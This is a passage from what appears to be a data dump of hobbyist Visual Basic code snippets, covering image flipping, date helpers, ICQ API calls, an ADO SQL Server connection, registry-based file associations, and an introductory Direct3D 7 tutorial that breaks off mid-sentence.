Development,\nIndia.\nWebsite:www.3rdagenda.com\nEmail:manikantan@3rdagenda.com\nImage Flipping\nAnother use of Visual Basic is the Flipping Images using the Paintpicture.Used to Flip the images around the Center either for 90 180 270 degrees.Can be useful in DTP works.\n\nPaintPicture is the most useful method of the pciturebox control which takes 10 Arguments to give various Effects to still images the Arguments are\n1) Source Picture\n2) Dest X\n3) Dest Y\n4) Dest Width\n5) Dest Height\n6) Source X\n7) Source Y\n8) Source Width\n9) Source Height\n10)Operation code.\n\n\nPrivate Sub Cmd_hflip_Click()\n picture_dest.PaintPicture picture_src.Picture, 0, 0, picture_src.ScaleWidth, picture_src.ScaleHeight, picture_src.ScaleWidth, 0, -picture_src.ScaleWidth, picture_src.ScaleHeight, &HCC0020\nEnd Sub\n\nPrivate Sub Cmd_vflip_Click()\n picture_dest.PaintPicture picture_src.Picture, 0, 0, picture_src.ScaleWidth, picture_src.ScaleHeight, 0, picture_src.ScaleHeight, picture_src.ScaleWidth, -picture_src.ScaleHeight, &HCC0020\nEnd Sub\n \nPrivate Sub Cmd_load_Click()\n On Error Resume Next\n CommonDialog.ShowOpen\n picture_src.Picture = LoadPicture(CommonDialog1.filename)\n If Err.Number = 481 Then MsgBox (\"The File Mentioned By You Is not A image file\")\nEnd Sub\nPrivate Sub Cmd_save_Click()\n\tCommonDialog1.ShowSave\n\tSavePicture picture_dest.Image, CommonDialog1.filename\nEnd Sub\nPrivate Sub Cmd_exit_Click()\n\tUnload Me\nEnd Sub\n\nPrivate Sub Rotate_Click()\n picture_dest.PaintPicture picture_src.Picture, 0, 0, picture_src.ScaleWidth, picture_src.ScaleHeight, picture_src.ScaleWidth, picture_src.ScaleHeight, -picture_src.ScaleWidth, -picture_src.ScaleHeight, &HCC0020\nEnd Sub\n\nArticel by \nManikantan\nEmail:manikantan@3rdagenda.com"},{"WorldId":1,"id":12306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12322,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12323,"LineNumber":1,"line":"The tutorial is the project in the ZIP file.\nHEAVILY commented (Who said that tutorials have to be in HTML?)."},{"WorldId":1,"id":12328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12343,"LineNumber":1,"line":"Function LastDay(Optional MyMonth As Integer, Optional MyYear As Integer) As Integer\n ' Returns the last day of the month. Takes into account leap years\n ' Usage: LastDay(Month, Year)\n ' Example: LastDay(12,2000) or LastDay(12) or Lastday\n \n If MyMonth = 0 Then MyMonth = Month(Date)\n Select Case MyMonth\n Case 1, 3, 5, 7, 8, 10, 12\n LastDay = 31\n \n Case 4, 6, 9, 11\n LastDay = 30\n \n Case 2\n If MyYear = 0 Then MyYear = Year(Date)\n \n If IsDate(MyYear & \"-\" & MyMonth & \"-\" & \"29\") Then LastDay = 29 Else LastDay = 28\n \n Case Else\n LastDay = 0\n \n End Select\n \nEnd Function"},{"WorldId":1,"id":12344,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12345,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12359,"LineNumber":1,"line":"Public Function ICQ_SET_LICENSE()\n Dim strName$, strPassword$, strLicense$\n strName$ = \"\"\n strPassword$ = \"\"\n strLicense$ = \"\"\n ICQAPICall_SetLicenseKey strName, strPassword, strLicense\nEnd Function\nPublic Function ICQ_GET_VERSION() As Integer\n ICQ_GET_VERSION = ICQAPICall_GetVersion\nEnd Function\nPublic Function ICQ_GET_DOCKINGSTATE() As DOCKING_STATE\n ICQ_GET_DOCKINGSTATE = ICQAPICall_GetDockingState\nEnd Function\nPublic Function ICQ_GET_FIREWALLSETTINGS() As BSICQAPI_FireWallData\n ICQ_GET_FIREWALLSETTINGS = ICQAPICall_GetFirewallSettings\nEnd Function\nPublic Function ICQ_GET_FULL_OWNER_DATA(pUser As BSICQAPI_User) As BSICQAPI_User\n ICQ_GET_FULL_OWNER_DATA = ICQAPICall_GetFullOwnerData\nEnd Function\n"},{"WorldId":1,"id":12360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12368,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12376,"LineNumber":1,"line":"<img border=\"0\" src=\"bd00386_.gif\" width=\"100%\" height=\"4\">\nCreating a ADO Connection To\nSQL Server\nHere is a example to create a ado connection. You could create a basic\nmodule and add it to your project and then create a Global ADO connection, so\nyour program will use one connection instance for the whole program. That way\nonce you open up your connection it will stay until you close the connection or\nexit the program. Make sure in your VB project , you have in your references\nmenu option,Microsoft Activex Dataobjects selected. And also Dcom installed.\nIn the General/declarations of your basic module declare your connection ..\nGlobal SQLCON As New ADODB.Connection\nThen , in your project , say under a command button the\ncode to open your connection, would be ...\nPublic Sub Command1_Click() \n ' Connect to SQL server through SQL Server OLE DB Provider. \n\n ' Set the ADO connection properties. \n SQLCON.ConnectionTimeout = 25 ' Time out for the\nconnection \n SQLCON.Provider = \"sqloledb\" ' OLEDB Provider \n SQLCON.Properties(\"Network Address\").Value =\n"111.111.111.111" ' set the ip address of your sql server \n SQLCON.CommandTimeout = 180 ' set timeout for 3 minutes \n \n ' Now set your network library to use one of these libraries\n.. un-rem only the one you want to use ! \n 'SQLCON.Properties(\"Network Library\").Value = \"dbmssocn\" ' set the network library to use win32 winsock\ntcp/ip \n 'SQLCON.Properties(\"Network Library\").Value = \"dbnmpntw\" ' set the network library to use win32 named\npipes \n 'SQLCON.Properties(\"Network Library\").Value = \"dbmsspxn\" ' set the network library to use win32\nspx/ipx \n 'SQLCON.Properties(\"Network Library\").Value = \"dbmsrpcn\" ' set the network library to use win32\nmulti-protocol\n 'Now set the SQL server\nname , and the default data base .. change these for your server ! \n SQLCON.Properties(\"Data Source\").Value = "MYSERVERNAME" \n SQLCON.Properties(\"Initial Catalog\").Value = "MYSQLDATABASE" \n SQLCON.CursorLocation = adUseServer ' For ADO cursor location \n \n 'Now you need to decide what authorization type you want to\nuse .. WinNT or SQL Server. \n 'un-rem this line for NT authorization.\n \n'SQLCON.Properties(\"Integrated Security\").Value = "SSPI"\n ' Or if you want\nto use SQL authorization , un-rem these 2 lines and supply SQL server login name\nand password\n 'SQLCON.Properties(\"User ID\").Value ="SQLUSERNAME" \n 'SQLCON.Properties("Password").Value =\n"SQLPASSWORD" \n\n \n ' Now we can open the ADO Connection to SQl\nserver !.. \n SQLCON.Open \n\n\n ' Now we can do a simple\ntest of the new ADO connection \n ' Lets return the Time and Date the SQL server thinks\nit is ..\n Dim RS As ADODB.Recordset \n Set RS = New ADODB.Recordset \n SQLstatement = \"SELECT GETDATE() AS SQLDATE " ' Set a\nSimple Sql query to return the servers time \n RS.Open SQLstatement, SQLCON ' Lets open a connection\nwith our new SQLCON connection , and our SQL statement \n ' Move to first row. \n RS.MoveFirst \n junk = MsgBox( "Server Time is " & RS("SQLDATE"),\nvbOKOnly, " SQL SERVER INFO\") \n \nEnd Sub\n \nOf course , you need to add error handling routines\n, and more user friendly code, if you want selectable logon options, but this\nshould at least get you talking to the SQL server.\n \n<img border=\"0\" src=\"newlogosmall.jpg\" width=\"480\" height=\"120\">\n\n"},{"WorldId":1,"id":12385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12407,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12410,"LineNumber":1,"line":"Dim printString as String\nprintString = \"Sample Raw Data\"\nOpen \"LPT1:\" For Output Access Write As #1\n Print #1, printString\nClose #1"},{"WorldId":1,"id":12414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12429,"LineNumber":1,"line":"Public Sub File2ListBox(sFile As String, oList As ListBox)\nDim fnum As Integer\nDim sTemp As String\n fnum = FreeFile()\n oList.Clear\n Open sFile For Input As fnum\n While Not EOF(fnum)\n Line Input #fnum, sTemp\n oList.AddItem sTemp\n Wend\n Close fnum\nEnd Sub"},{"WorldId":1,"id":12430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12431,"LineNumber":1,"line":"Public Sub ListBox2File(sFile As String, oList As ListBox)\nDim fnum, x As Integer\nDim sTemp As String \n fnum = FreeFile()\n x = 0\n Open sFile For Output As fnum\n While x <> oList.ListCount\n Print #fnum, oList.List(x)\n x = x + 1\n Wend\n Close fnum\nEnd Sub\n'Check out http://www.vb2delphi.com for more code!"},{"WorldId":1,"id":12432,"LineNumber":1,"line":"Public Sub CreateAssociation(sExtension as String, sApplication as String, sAppPath as String)\n Dim sPath As String\n CreateNewKey \".\" & sExtension, HKEY_CLASSES_ROOT\n SetKeyValue \".\" & sExtension, \"\", sApplication & \".Document\", REG_SZ\n CreateNewKey sApplication & \".Document\\shell\\open\\command\", HKEY_CLASSES_ROOT\n SetKeyValue sApplication & \".Document\", \"\", sApplication & \" Document\", REG_SZ\n sPath = sAppPath & \" %1\"\n SetKeyValue sApplication & \".Document\\shell\\open\\command\", \"\", sPath, REG_SZ\n CreateNewKey \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.\" _\n & sExtension, HKEY_CURRENT_USER\n SetKeyValue2 \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.\" _\n & sExtension, \"Application\", sAppExe, REG_SZ\n CreateNewKey \"Applications\\\" & sAppExe & \"\\shell\\open\\command\", HKEY_CLASSES_ROOT\n SetKeyValue \"Applications\\\" & sAppExe & \"\\shell\\open\\command\", \"\", sPath, REG_SZ\nEnd Sub\n\nPublic Function SetValueEx(ByVal hKey As Long, _\n sValueName As String, _\n lType As Long, _\n vValue As Variant) As Long\n Dim nValue As Long\n Dim sValue As String\n Select Case lType\n Case REG_SZ\n sValue = vValue & Chr$(0)\n SetValueEx = RegSetValueExString(hKey, _\n sValueName, _\n 0&, _\n lType, _\n sValue, _\n Len(sValue))\n Case REG_DWORD\n nValue = vValue\n SetValueEx = RegSetValueExLong(hKey, _\n sValueName, _\n 0&, _\n lType, _\n nValue, _\n 4)\n End Select\nEnd Function\n\nPublic Sub CreateNewKey(sNewKeyName As String, _\n lPredefinedKey As Long)\n Dim hKey As Long\n Dim result As Long\n Call RegCreateKeyEx(lPredefinedKey, _\n sNewKeyName, 0&, _\n vbNullString, _\n REG_OPTION_NON_VOLATILE, _\n KEY_ALL_ACCESS, 0&, hKey, result)\n Call RegCloseKey(hKey)\nEnd Sub\n\nPublic Sub SetKeyValue(sKeyName As String, _\n sValueName As String, _\n vValueSetting As Variant, _\n lValueType As Long)\n Dim hKey As Long\n Call RegOpenKeyEx(HKEY_CLASSES_ROOT, _\n sKeyName, 0, _\n KEY_ALL_ACCESS, hKey)\n Call SetValueEx(hKey, _\n sValueName, _\n lValueType, _\n vValueSetting)\n Call RegCloseKey(hKey)\nEnd Sub\nPublic Sub SetKeyValue(sKeyName As String, _\n sValueName As String, _\n vValueSetting As Variant, _\n lValueType As Long)\n Dim hKey As Long\n Call RegOpenKeyEx(HKEY_CURRENT_USER, _\n sKeyName, 0, _\n KEY_ALL_ACCESS, hKey)\n Call SetValueEx(hKey, _\n sValueName, _\n lValueType, _\n vValueSetting)\n Call RegCloseKey(hKey)\nEnd Sub\n"},{"WorldId":1,"id":12438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12451,"LineNumber":1,"line":"<h1 align=\"center\"><a name=\"lesson\">An Introduction To Direct3D</a></h1>\n<h4 align=\"center\">By <a href=\"mailto:Si@VBgames.co.uk\">Simon Price</a></h4>\n<h3 align=\"left\">Tutorial Breakdown</h3>\nThis tutorial will consist of the following steps :\n<ul>\n <li>\n <a href=\"#explain\">Explanation</a> of what Direct3D does and how you can use it\n from Visual Basic</li>\n <li>\n <a href=\"#demonstate\">Definitions</a> of all the objects, types and enumerations you\n will need to know to get started</li>\n <li>\n <a href=\"#imitate\">Example</a> source code with heavy commenting</li>\n <li>\n <a href=\"#practice\">Summary</a> of what you have learnt</li>\n <li>\n <a href=\"#bingo\">Exercises</a> to make you remember it all</li>\n</ul>\n<h3 align=\"left\"><a name=\"explain\">Direct3D Overview</a></h3>\nDirect3D is a part of DirectX. This tutorial is specific to\nDirect3D 7, so you will need DirectX 7.0 or higher if you are planning to use\nwhat you learn here. DirectX has a component called DirectDraw, which is used to\nperform graphics functions at a lower level that Windows GDI. If you have never\nused DirectDraw before, I suggest you look at my tutorial "An Introduction\nTo DirectDraw", available on this site, or <a href=\"http://www.VBgames.co.uk\">my\nwebsite</a>. Direct3D (D3D) has two main parts - Immediate Mode and Retained\nMode. This tutorial deals with Immediate Mode only. Immediate Mode (IM) is built\non top of DirectDraw. That means it uses DirectDraw to place graphics on the\nscreen, or in memory. D3D Retained Mode (RM) is built on top of D3D IM.\nTherefore, D3D RM is not as efficient as D3D IM. This is why I have chosen to\nlearn D3D IM. However, I do not claim that one is better than the other, just\nthat IM is faster and RM is easier to learn and create applications very quickly\nwith. If you learn IM, heavy vector mathematics and slow development is involved\nbut you will be rewarded with more power and control. The choice is yours. If\nyou still want to learn IM, then read on.\nDirect3D has a job - to give programmers a common interface for\nall 3D devices. In English - no matter what computer your application runs on,\nwhether it has a Voodoo Mega Wicked 10000 3D accelerator or a Omega Budget 256\nColor Economy VGA card, you still use the same objects to program with. It means\nthat you don't have to learn about how every graphics card works for your\napplication to work on every computer. Direct3D also provides software\nemulation. This means that if half your users have hardware acceleration, and\nhalf don't, you can use hardware if available and then fall back to using\nDirect3D software emulation if the hardware is not available. Of course software\nemulation is alot slower.\nIt's time to start Visual Basic! Create a new project and called\nit something imaginative like "D3Dintro.vbp". Next, click Project -> References\nand a dialog box will show a list of references your project uses. If you have\ninstalled the DirectX7 For Visual Basic type library, scroll down to it and\ncheck the check box next to it. Click OK to add the reference. Now Visual Basic\nknows every single class, type and enumeration you need to use DirectX7. If you\ndo not have the DirectX 7 For Visual Basic Type Library, you can download it\nfrom <a href=\"http://www.microsoft.com\">www.microsoft.com</a> .\n<h3 align=\"left\"><a name=\"demonstate\">Get on with the programming!</a></h3>\nHere are the declarations you will need for the tutorial\nprograms, with a short explanation as to what they are all about. First the\nobjects followed by the types.\n<ul>\n <li>\n DirectX7 - this is the great big daddy of them all!\n It is from the DirectX7 object that you will create all the other objects,\n including DirectDraw and Direct3D. Note the use of the New keyword, meaning\n that your application puts aside the memory to create a new instance of this\n object.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim DX As New DirectX7</pre>\n</div>\n<ul>\n <li>\n DirectDraw7 - this is the base of all the graphics\n functionality that DirectX provides, including Direct3D7. Note the omission\n of the New keyword, since you do not create this object, but DirectX does.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim DDRAW As DirectDraw7</pre>\n</div>\n<ul>\n <li>\n DirectDrawSurface7 - this is an object created by\n DirectDraw to represent a piece of memory. You will need a primary and\n backbuffer surface. The primary surface represents the actual graphics on\n the screen, the backbuffer is a surface to draw our whole image onto before\n we copy it to the primary surface.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim Primary As DirectDrawSurface7</pre>\n</div>\n<div align=\"left\">\n <pre align=\"left\">Dim Backbuffer As DirectDrawSurface7</pre>\n</div>\n<ul>\n <li>\n DirectDrawClipper - this is used to clip areas,\n meaning that if you try draw outside the clipping boundaries, nothing will\n be drawn. This is useful in Windows so that you don't make a mess all over\n bits of screen that don't belong to your application.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim Clipper As DirectDrawClipper</pre>\n</div>\n<ul>\n <li>\n Direct3D7 - this is based upon DirectDraw. It\n provides all the 3D functionality you will need.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim D3D As Direct3D7</pre>\n</div>\n<ul>\n <li>\n Direct3DDevice7 - this is the rendering device. You\n use it to control the states and parameters of Direct3D, and to send drawing\n commands to draw (usually) triangles.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim D3Ddevice As Direct3DDevice7</pre>\n</div>\n<ul>\n <li>\n RECT - this describes a rectangle, and DirectDraw\n uses it to copy rectangular pieces of pictures around. Here we need two,\n they are just cached for regular use in the program.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim SrcRect As RECT</pre>\n</div>\n<div align=\"left\">\n <pre align=\"left\">Dim DestRect As RECT</pre>\n</div>\n<ul>\n <li>\n D3DRECT - this is similar to the RECT type used with\n DirectDraw. We will use it in clearing operations. You will always need to\n declare it as an array, even if you only need one of them.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim Viewport(0) As D3DRECT</pre>\n</div>\n<div align=\"left\">\n <ul>\n <li>\n DDSURFACEDESC2 - this describes a DirectDrawSurface,\n so we can ask DirectDraw to create a surface with the properties we need.</li>\n </ul>\n <div align=\"left\">\n <pre align=\"left\">Dim SurfDesc as DDSURFACEDESC2</pre>\n </div>\n</div>\n<ul>\n <li>\n D3DVIEWPORT7 - this describes the way in which\n Direct3D transforms a 3D scene to represent it on a 2D surface.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim VPdesc As D3DVIEWPORT7</pre>\n</div>\n<ul>\n <li>\n D3DVERTEX - this type holds all the information we need to\n create a vertex. We are going to create a triangle so we need an array\n of 3.\n </li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim Vertex(0 to 2) as D3DVERTEX</pre>\n</div>\n<ul>\n <li>\n D3DMATRIX - this holds 16 values which are used for\n any and every translation in 3D. With a matrix, you can translate, rotate\n and scale. We will need four in this tutorial, the world, view, projection\n and spin matrices.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim matWorld As D3DMATRIX\nDim matView As D3DMATRIX\nDim matProj As D3DMATRIX\nDim matSpin As D3DMATRIX</pre>\n</div>\n You will also need to declare two other variables:\n<div align=\"left\">\n <pre align=\"left\">' this tells the program when to end\nDim EndNow As Boolean\n' this is used to rotate the triangle\nDim Counter As Long\n</pre>\n</div>\n<h3 align=\"left\"><a name=\"imitate\">Initiation of DirectDraw and Direct3D</a></h3>\nNow we have declared all the objects we need, we need to call\nsome of their methods to make them do something. We will also use the variables\nto send information to DirectX. Since Direct3D is built upon DirectDraw, we will\nneed to initialize the DirectDraw objects before Direct3D.\n<h4 align=\"left\">The DirectDrawInit Function</h4>\nWe will create a function that creates the DirectDraw object,\nsets the cooperative level, sets up the primary and backbuffer surfaces for\nour graphics functions to work on, and finally creates a clipper to restrict\ndrawing to just the application window. Note then when we create the backbuffer\nsurface, we pass the DDSCAPS_3DDEVICE flag to tell DirectDraw that we are going\nto use it as a 3D rendering target.\n<div align=\"left\">\n <pre align=\"left\">Function DirectDrawInit() As Long\n' create the directdraw object\nSet DDRAW = DX.DirectDrawCreate("")\n' set the cooperative level, we only need normal\nDDRAW.SetCooperativeLevel hWnd, DDSCL_NORMAL\n' set the properties of the primary surface\nSurfDesc.lFlags = DDSD_CAPS\nSurfDesc.ddsCaps.lCaps = DDSCAPS_PRIMARYSURFACE\n' create the primary surface\nSet Primary = DDRAW.CreateSurface(SurfDesc)\n' set up the backbuffer surface (which will be where we render the 3D view)\nSurfDesc.lFlags = DDSD_HEIGHT Or DDSD_WIDTH Or DDSD_CAPS\nSurfDesc.ddsCaps.lCaps = DDSCAPS_OFFSCREENPLAIN Or DDSCAPS_3DDEVICE\n' use the size of the form to determine the size of the render target\n' and viewport rectangle\nDX.GetWindowRect hWnd, DestRect\n' set the dimensions of the surface description\nSurfDesc.lWidth = DestRect.Right - DestRect.Left\nSurfDesc.lHeight = DestRect.Bottom - DestRect.Top\n' create the backbuffer surface\nSet Backbuffer = DDRAW.CreateSurface(SurfDesc)\n' cache the size of the render target for later use\nWith SrcRect\n .Left = 0: .Top = 0\n .Bottom = SurfDesc.lHeight\n .Right = SurfDesc.lWidth\nEnd With\n' create a DirectDrawClipper and attach it to the primary surface.\nSet Clipper = DDRAW.CreateClipper(0)\nClipper.SetHWnd hWnd\nPrimary.SetClipper Clipper\n' report any errors\nDirectDrawInit = Err.Number\nEnd Function\n</pre>\n</div>\n <h4 align=\"left\">The Direct3DInit Function</h4>\n Now we need to initialize all our Direct3D objects. In this\n function, we need to create Direct3D, a rendering device (something that does\n the drawing for us), a material (defines the appearance of polygons), and\n several matrices. The rendering device can be some hardware device like a 3D\n accelerator card, or software emulation. For this tutorial, we will use\n software emulation for simplicity. The matrices are :\n<ul>\n <li>\n The world matrix - all objects in world space are\n transformed by this matrix</li>\n <li>\n The view matrix - sets the position of the camera</li>\n <li>\n The projection matrix - defines how Direct3D projects the 3D\n scene onto the 2D surface</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Function Direct3DInit() As Long\n' create the direct3d object\nSet D3D = DDRAW.GetDirect3D\n' create the rendering device - we are using software emulation only\nSet D3Ddevice = D3D.CreateDevice("IID_IDirect3DRGBDevice", Backbuffer)\n' set the viewport rectangle.\nVPdesc.lWidth = DestRect.Right - DestRect.Left\nVPdesc.lHeight = DestRect.Bottom - DestRect.Top\nVPdesc.minz = 0\nVPdesc.maxz = 1\nD3Ddevice.SetViewport VPdesc\n' cache the viewport rectangle for later use\nWith Viewport(0)\n .X1 = 0: .Y1 = 0\n .X2 = VPdesc.lWidth\n .Y2 = VPdesc.lHeight\nEnd With\n \n' enable ambient lighting\nD3Ddevice.SetRenderState D3DRENDERSTATE_AMBIENT, DX.CreateColorRGBA(1, 1, 1, 1)\n' disable culling\nD3Ddevice.SetRenderState D3DRENDERSTATE_CULLMODE, D3DCULL_NONE\n' set the material to a red color\nMaterial.Ambient.r = 1\nMaterial.Ambient.g = 0\nMaterial.Ambient.b = 0\nD3Ddevice.SetMaterial Material\n' the world matrix - all polygons in world space are transformed by this matrix\nDX.IdentityMatrix matWorld\nD3Ddevice.SetTransform D3DTRANSFORMSTATE_WORLD, matWorld\n' the view matrix - basically the camera position is at -3\n' (although it's really just making the whole world at +3)\nDX.IdentityMatrix matView\nDX.ViewMatrix matView, MakeVector(0, 0, -3), MakeVector(0, 0, 0), MakeVector(0, 1, 0), 0\nD3Ddevice.SetTransform D3DTRANSFORMSTATE_VIEW, matView\n' the projection matrix - decides how the 3D scene is projected onto the 2D surface\nDX.IdentityMatrix matProj\nDX.ProjectionMatrix matProj, 1, 1000, 3.14 / 2\nD3Ddevice.SetTransform D3DTRANSFORMSTATE_PROJECTION, matProj\n' report errors\nDirect3DInit = Err.Number\nEnd Function\n</pre>\n</div>\n<h4 align=\"left\">The MakeVector Function</h4>\nIf you're still alert and haven't become totally confused yet,\nyou will be saying "hey Simon, you called a MakeVector function - what's\nthat all about? The MakeVector function is very similar to the\nDX.CreateD3DVertex (see later) function - it just saves us alot of typing by\ncopying values into the D3DVECTOR type. So we need to create the MakeVector\nfunction for the Direct3DInit function to work.\n<div align=\"left\">\n <pre align=\"left\">Function MakeVector(x As Single, y As Single, z As Single) As D3DVECTOR\n' copy x, y and z into the return value\nWith MakeVector\n .x = x\n .y = y\n .z = z\nEnd With\nEnd Function</pre>\n</div>\n<h3 align=\"left\">Creating The Scene</h3>\nWe need to supply triangles for Direct3D to render. Therefore we\nshould declare some vertices to make the triangle from. For simplicity, we will\nrender just one triangle which means we need only 3 vertices (one for each\ncorner). We could fill in the data separately for each field of the type\nD3DVERTEX, but it's much shorter to use a function of the DirectX object that\ndoes this for you in one line of code.\n<h4 align=\"left\">The CreateTriangle Sub</h4>\nThis procedure takes the already declare vertices and forms them\ninto a triangle shape. In a D3DVERTEX, there are three pieces of data - the\nposition (x,y,z), the normal (nx,ny,nz) and the texture coordinates (tu,tv). We\nonly need to use the position in this tutorial. The normal of a triangle is\nconcerned with lighting, which we aren't using. The texture coordinates are for,\nwell, textures - which we aren't using either.\n<div align=\"left\">\n <pre align=\"left\">Sub CreateTriangle()\n' fill in the vertex positions - we don't need to worry about the normals\n' or texture coordinates for this tutorial\nDX.CreateD3DVertex -1, 0, 0, 0, 0, 0, 0, 0, Vertex(0)\nDX.CreateD3DVertex 0, 2, 0, 0, 0, 0, 0, 0, Vertex(1)\nDX.CreateD3DVertex 1, 0, 0, 0, 0, 0, 0, 0, Vertex(2)\nEnd Sub\n</pre>\n</div>\n<h3 align=\"left\">The Main Program Loop</h3>\nOK that's enough loading and initializing to last me a lifetime!\nBut once you've learnt it, it will get easier and you can always reuse your\ncode. Now we move onto the main program loop. This is a loop where we clear the\nbackbuffer, draw the polygon, copy the backbuffer to the screen and then move\nthe polygon before we draw the next frame. Don't be surprised if this loop runs\nat over 100 frames per second - after all, it's just one polygon. In a real\nworld application, you may want to render thousands per frame. On with the show:\n<div align=\"left\">\n <pre align=\"left\">Sub MainLoop()\nDo While EndNow = False\n ' increase the counter\n Counter = Counter + 1\n \n ' clear the viewport with a green color\n D3Ddevice.Clear 1, Viewport(), D3DCLEAR_TARGET, vbGreen, 0, 0\n ' begin the scene, render the triangle, then end the scene\n D3Ddevice.BeginScene\n D3Ddevice.DrawPrimitive D3DPT_TRIANGLELIST, D3DFVF_VERTEX, Vertex(0), 3, D3DDP_DEFAULT\n D3Ddevice.EndScene\n \n ' rotate the matrix\n DX.RotateYMatrix matSpin, Counter / 360\n ' set the new world transform matrix\n D3Ddevice.SetTransform D3DTRANSFORMSTATE_WORLD, matSpin\n \n ' copy the backbuffer to the screen\n DX.GetWindowRect hWnd, DestRect\n Primary.Blt DestRect, Backbuffer, SrcRect, DDBLT_WAIT\n \n ' look for window messages - we need to know when the escape key is pressed\n DoEvents\nLoop\nEnd Sub\n</pre>\n</div>\n<h3 align=\"left\">Getting It Together</h3>\nIf you run your program now, nowt will happen at all. This is\nbecause you have created a load of procedures but you haven't called them from\nanywhere. This is when you will need to put some code into the Form_Load event,\nto do initiation and then the main loop. We will check the return values of the\ninitiation functions, and if they report errors we will end the program.\n<h4 align=\"left\">The Form_Load Event</h4>\n<div align=\"left\">\n <pre align=\"left\">Private Sub Form_Load()\n' show the form\nShow\n' call the DirectDrawInit function and exit if it fails\nIf DirectDrawInit() <> DD_OK Then Unload Me\n' call the Direct3DInit function and exit if it fails\nIf Direct3DInit() <> DD_OK Then Unload Me\n' create the triangle\nCreateTriangle\n' call the main rendering loop\nMainLoop\n' end the program\nUnload Me\nEnd Sub</pre>\n</div>\n<h4 align=\"left\">The Form_Unload and Form_KeyDown Events</h4>\nThere is one more thing to do - end the program! The main loop\nis exited if the EndNow variable is set to true - so that's all we need to do.\nWe can also end the program if the escape key is pressed, by putting the same\ncode in the Form_KeyDown event.\n<div align=\"left\">\n <pre align=\"left\">Private Sub Form_Unload(Cancel As Integer)\nEndNow = True\nEnd Sub\n</pre>\n</div>\n<div align=\"left\">\n <pre align=\"left\">Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n' end program if escape is pressed\nIf KeyCode = vbKeyEscape Then EndNow = True\nEnd Sub\n</pre>\n</div>\n<h3 align=\"left\">Run The Program</h3>\nRun the program. If you've typed it correctly (or just used my\nexample code), you will see the form has a spinning triangle painted on it. You\ncan even resize the form and the picture will resize to the form size. When you\nclose the form or press escape, the program ends.\n<h3><a name=\"practice\">Summary</a></h3>\nIn this tutorial, we have :\n<ul>\n <li>Learnt how to set up DirectDraw surfaces for Direct3D.</li>\n <li>Set up Direct3D, telling it to render on a DirectDraw surface</li>\n <li>Create a very basic geometric shape</li>\n <li>Render a triangle and change the world matrix to move spin the world</li>\n</ul>\nThere are many bad points to the program you have created, although I have\nmade the program in this way to make it as simple as possible.\n<ul>\n <li>All the variables were global - in my opinion you should restrict access\n to each variable as much as possible. I made them all global for this\n tutorial so I could explain each one at the beginning</li>\n <li>Very little error handling was done. In a real application, we would find\n the cause of the error, attempt to fix it, and if that's not possible we\n would tell the user why, rather than ending immediately.</li>\n <li>We used software rendering only. What we should do is find out what sort\n of hardware the user has, and make our program adapt to either make maximum\n use of the hardware, or fall back onto just software if no hardware is\n available.</li>\n <li>And I'm sure the critics amongst you will think of 